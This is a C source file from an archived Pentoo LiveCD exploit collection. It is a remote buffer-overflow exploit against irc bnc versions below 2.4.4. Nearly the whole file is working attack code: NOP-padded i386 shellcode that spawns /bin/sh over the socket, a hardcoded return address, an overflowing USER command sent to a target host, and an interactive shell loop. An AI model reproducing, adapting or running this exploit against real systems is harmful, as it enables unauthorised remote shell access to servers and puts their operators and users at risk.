home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / irc / bnc / bnc244.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  155 lines

  1. /* Exploit for irc bnc < 2.4.4.
  2.  * This is only my third remote exploit, ever, so it might be a bit rough
  3.  * around the edges. For instance the distance from the stack to the ret
  4.  * pointer has to be *exactly* 1031 for this to work
  5.  * 
  6.  * Tekneeq - http://www.attrition.org/hosted/tekneeq  
  7.  */
  8.  
  9. #include <stdio.h>
  10. #include <unistd.h>
  11. #include <stdarg.h>
  12. #include <netdb.h>
  13. #include <sys/types.h>
  14. #include <sys/time.h>
  15. #include <sys/socket.h>
  16. #include <netinet/in.h>
  17.  
  18. #define RET_POS 1031
  19.  
  20. #define RETURN_ADDRESS 0xbffff9e0
  21.  
  22. char hellcode[]="\x31\xdb\x89\xd8\x89\xd9\xfe\xc1\xb0\x3f\xcd\x80\xfe\xc1"
  23.                 "\x31\xc0\xb0\x3f\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0"
  24.                 "\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d"
  25.                 "\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff"
  26.                 "\xff\xff/bin/sh";
  27.  
  28. int fdprintf(int dafd,char *fmt,...);
  29. int tcp_connect(struct in_addr addr,unsigned short port);
  30. void RunShell(int thesock);
  31.  
  32. int main (int argc,char **argv)
  33. {
  34.   int fd;
  35.   int ctr,a;
  36.   struct in_addr host;
  37.   unsigned short port;
  38.   unsigned char overflow_buf[4096];
  39.   unsigned long *ret;
  40.  
  41.   if (argc < 3)
  42.     {
  43.       printf("Usage: %s <host> <port>\n",argv[0]);
  44.       exit(0);
  45.     }
  46.  
  47.  
  48.   if (!host_to_ip(argv[1],&host))
  49.     {
  50.       fprintf(stderr,"Hostname lookup failure\n");
  51.       exit(0);
  52.     }
  53.  
  54.   if (!(port=atoi(argv[2])))
  55.     {
  56.       fprintf(stderr,"Invalid port !\n");
  57.       exit(0);
  58.     }
  59.  
  60.   memset(overflow_buf,0x90,sizeof(overflow_buf)); /* fill it with NOPs */
  61.   a=0;
  62.   for (ctr=(RET_POS-strlen(hellcode));ctr<(RET_POS);ctr++)
  63.     overflow_buf[ctr]=hellcode[a++];
  64.   overflow_buf[RET_POS+4]=0;
  65.   ret=(unsigned long *)(overflow_buf+RET_POS);
  66.   *ret=RETURN_ADDRESS;
  67.   printf("Connecting\n");
  68.   fd=tcp_connect(host,port);
  69.   printf("Sending overflow\n");
  70.   fdprintf(fd,"USER %s\r\n",overflow_buf);
  71.   sleep(2);
  72.   printf("Got shell\n");
  73.   RunShell(fd);
  74. }
  75.  
  76. int tcp_connect(struct in_addr addr,unsigned short port)
  77. {
  78.   int fd;
  79.   struct sockaddr_in serv;
  80.  
  81.   bzero(&serv,sizeof(serv));
  82.   serv.sin_addr=addr;
  83.   serv.sin_port=htons(port);
  84.   serv.sin_family=AF_INET;
  85.   if ((fd=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)) < 0)
  86.     {
  87.       perror("socket");
  88.       exit(0);
  89.     }
  90.   if (connect(fd,(struct sockaddr *)&serv,sizeof(serv)) < 0)
  91.     {
  92.       perror("connect");
  93.       exit(0);
  94.     }
  95.   return(fd);
  96. }
  97.  
  98. int fdprintf(int dafd,char *fmt,...)
  99. {
  100.   char mybuffer[4096];
  101.   va_list va;
  102.  
  103.   va_start(va,fmt);
  104.   vsnprintf(mybuffer,4096,fmt,va);
  105.   write(dafd,mybuffer,strlen(mybuffer));
  106.   va_end(va);
  107.   return(1);
  108. }
  109.  
  110. int host_to_ip(char *hostname,struct in_addr *addr)
  111. {
  112.   struct hostent *res;
  113.  
  114.   res=gethostbyname(hostname);
  115.   if (res==NULL)
  116.     return(0);
  117.   memcpy((char *)addr,res->h_addr,res->h_length);
  118.   return(1);
  119. }
  120.  
  121. void RunShell(int thesock)
  122. {
  123.   int n;
  124.   char recvbuf[1024];
  125.   fd_set rset;
  126.  
  127.   while (1)
  128.     {
  129.       FD_ZERO(&rset);
  130.       FD_SET(thesock,&rset);
  131.       FD_SET(STDIN_FILENO,&rset);
  132.       select(thesock+1,&rset,NULL,NULL,NULL);
  133.       if (FD_ISSET(thesock,&rset))
  134.         {
  135.           n=read(thesock,recvbuf,1024);
  136.           if (n <= 0)
  137.             {
  138.               printf("Connection closed\n");
  139.               exit(0);
  140.             }
  141.           recvbuf[n]=0;
  142.           printf("%s",recvbuf);
  143.         }
  144.       if (FD_ISSET(STDIN_FILENO,&rset))
  145.         {
  146.           n=read(STDIN_FILENO,recvbuf,1024);
  147.           if (n>0)
  148.             {
  149.               recvbuf[n]=0;
  150.               write(thesock,recvbuf,n);
  151.             }
  152.         }
  153.     }
  154. }
  155. /*                    www.hack.co.za              [2000]*/